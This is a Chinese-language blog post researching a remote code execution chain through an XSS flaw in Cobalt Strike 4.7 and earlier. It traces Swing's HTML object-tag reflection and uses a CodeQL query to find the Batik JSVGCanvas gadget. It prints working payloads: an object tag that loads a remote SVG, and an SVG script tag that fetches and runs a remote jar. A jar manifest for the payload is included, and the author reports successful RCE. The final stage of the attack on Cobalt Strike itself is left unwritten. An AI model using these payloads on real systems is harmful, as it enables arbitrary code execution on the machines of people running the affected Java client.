作者: print("") 分类: Java学习,信息安全 发布时间: 2022-12-22 17:50 阅读次数: 2,692 次
之前9月份的时候,忘记写了。现在重新写一份记录一下整个过程。利用过程的查找真的是废了眼睛
CobaltStrike官方发布的最新4.7.1版本的更新日志中介绍,<=4.7的teamserver版本存在XSS漏洞
一、swing漏洞
CobaltStrike 使用的组件为swing 那么首先了解一下他是怎么解析使用html
https://docs.oracle.com/javase/tutorial/uiswing/components/html.html
解析HTMl Demo
import javax.swing.*; import java.awt.*; public class demo { /**{ * 创建并显示GUI。出于线程安全的考虑, * 这个方法在事件调用线程中调用。 */ private static void createAndShowGUI() { // 确保一个漂亮的外观风格 JFrame.setDefaultLookAndFeelDecorated(true); // 创建及设置窗口 JFrame frame = new JFrame("HelloWorldSwing"); frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); frame.setPreferredSize(new Dimension(800, 600)); // 添加 "Hello World" 标签 JLabel label = new JLabel("<html><h1>66666</h1></html>"); frame.getContentPane().add(label); // 显示窗口 frame.pack(); frame.setVisible(true); } public static void main(String[] args) { // 显示应用 GUI javax.swing.SwingUtilities.invokeLater(new Runnable() { public void run() { createAndShowGUI(); } }); } }
追踪一下解析html 的过程 发现最终会调用到javax.swing.text.html.HTML.java
会循环调用 每个TAG 标签。 执行完之后会经过javax/swing/text/html/HTMLDocument.HTMLReader 进行一个初始化
每个标签都有一个初始化函数例如:
例如A标签
这里大概明白了 他的一个整体的逻辑了。就是每个TAG 都有一个或者公用的一个类。
然后进入到javax/swing/text/html/HTMLEditorKit.create 函数中
在HTMLEditorKit里的create方法可以看到不同的标签会对应到创建不同的view
那么顺序是Read –> create –>new xx 视图。例如H6标签。如下
其中发现一个有意思的标签javax/swing/text/html/ObjectView
例子如下:
<object classid="javax.swing.JLabel"> <param name="text" value="sample text"> </object>
代码如下:
/** * Create the component. The classid is used * as a specification of the classname, which * we try to load. */ protected Component createComponent() { AttributeSet attr = getElement().getAttributes(); String classname = (String) attr.getAttribute(HTML.Attribute.CLASSID); try { ReflectUtil.checkPackageAccess(classname); Class c = Class.forName(classname, true,Thread.currentThread(). getContextClassLoader()); Object o = c.newInstance(); if (o instanceof Component) { Component comp = (Component) o; setParameters(comp, attr); return comp; } } catch (Throwable e) { // couldn't create a component... fall through to the // couldn't load representation. } return getUnloadableRepresentation(); }
首先获取了classid 字符串名称。然后直接获取了这个类的对象。然后进行实例化这个类。。但是这个有一个条件,就是为 Component 类或者是他的子类
那么看看。对应的key VALUE 的设置
那么总结一下这个object 的利用的条件
classid传入需要实例化的类,类必须继承与Component 必须有无参构造方法,貌似是因为newinstant是调用的无参构造方法 必须存在一个setXXX方法的XXX属性 setXXX方法的传参数必须是接受一个string类型的参数
那么根据如上的要求。写了一个Demo
import java.awt.Dimension; import javax.swing.*; public class demo { private static void createAndShowGUI() { // 确保一个漂亮的外观风格 JFrame.setDefaultLookAndFeelDecorated(true); // 创建及设置窗口 JFrame frame = new JFrame("HelloWorldSwing"); frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); frame.setPreferredSize(new Dimension(800, 600)); // 添加 "Hello World" 标签 String payload = "<html><object classid='javax.swing.JLabel'><param name='text' value='test'></object>"; System.out.println(payload); JLabel label = new JLabel(payload); frame.getContentPane().add(label); // 显示窗口 frame.pack(); frame.setVisible(true); } public static void main(String[] args) { // 显示应用 GUI javax.swing.SwingUtilities.invokeLater(new Runnable() { public void run() { createAndShowGUI(); } }); } }
JLabel 继承链--> JComponent -->Container -->Component
public class JLabel extends JComponent implements SwingConstants, Accessible
这里是引用了。javax.swing.JLabel.setText 函数
二、CobaltStrike 代码类的寻找
首先我们先导入任意一个版本的CS jar包到当前项目中
通过Navigate —–> Type Hierarchy 查询所有的子类
还可以使用codeql 进行查询
class SetMethod extends Method{ SetMethod(){ this.getDeclaringType().getASupertype*().hasQualifiedName("java.awt", "Component") and this.getName().indexOf("set") = 0 and this.getName().length() > 3 and this.isPublic() and this.fromSource() and this.getNumberOfParameters() = 1 and this.getAParamType().getName() = "String" and this.getTotalNumberOfLines() > 3 and this.getDeclaringType().getAConstructor().isPublic() and this.getDeclaringType().getAConstructor().hasNoParameters() } } from SetMethod setMethod select setMethod, setMethod.getDeclaringType().getPackage().getName()+"."+setMethod.getDeclaringType()
大概找了好几个小时之后。就发现了这个类比较符合条件的
org.apache.batik.swing.JSVGCanvas.setURI()
public void setURI(String var1) { String var2 = this.uri; this.uri = var1; if (this.uri != null) { this.loadSVGDocument(this.uri); } else { this.setSVGDocument((SVGDocument)null); } this.pcs.firePropertyChange("URI", var2, this.uri); }
那么试试这个是否可以访问某个URl
import javax.swing.*; import java.awt.*; import javax.swing.JLabel; public class demo { /**{ * 创建并显示GUI。出于线程安全的考虑, * 这个方法在事件调用线程中调用。 */ private static void createAndShowGUI() { // 确保一个漂亮的外观风格 JFrame.setDefaultLookAndFeelDecorated(true); // 创建及设置窗口 JFrame frame = new JFrame("HelloWorldSwing"); frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); frame.setPreferredSize(new Dimension(800, 600)); // 添加 "Hello World" 标签 JLabel label = new JLabel("<html><object classid='org.apache.batik.swing.JSVGCanvas'><param name='URI' value='http://192.168.1.72/1.txt'></object>\n"); frame.getContentPane().add(label); // 显示窗口 frame.pack(); frame.setVisible(true); } public static void main(String[] args) { // 显示应用 GUI javax.swing.SwingUtilities.invokeLater(new Runnable() { public void run() { createAndShowGUI(); } }); } }
发现是可以访问到的。那么有一个url 访问能有啥用呢?
尝试翻翻官方文档
https://xmlgraphics.apache.org/batik/using/scripting/ecmascript.html
发现竟然可以调用import
尝试一下
<?xml version="1.0" standalone="no"?> <svg xmlns="http://www.w3.org/2000/svg" width="100" height="100"> <script> Runtime.getRuntime().exec('calc'); </script> </svg>
发现并不可行。继续看看官方文档。
https://xmlgraphics.apache.org/batik/using/scripting/java.html
发现还可以 application/java-archive 这种类型的加载
查找了一下Demo
https://www.agarri.fr/blog/archives/2012/05/11/svg_files_and_java_code_execution/index.html
远程svg 文件
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100" xmlns:xlink="http://www.w3.org/1999/xlink"> <script type="application/java-archive" xlink:href="http://127.0.0.1/6445.jar"> </script> </svg>
制作一个利用的jar包
MANIFEST.MF 制定好你写的类
Manifest-Version: 1.0 Main-Class: mains SVG-Handler-Class: export.Demo
然后使用IDEA 的打包成jar 即可
然后执行一下 成功完成RCE
二、CobaltStrike 上线利用。
过段时间再写吧
参考: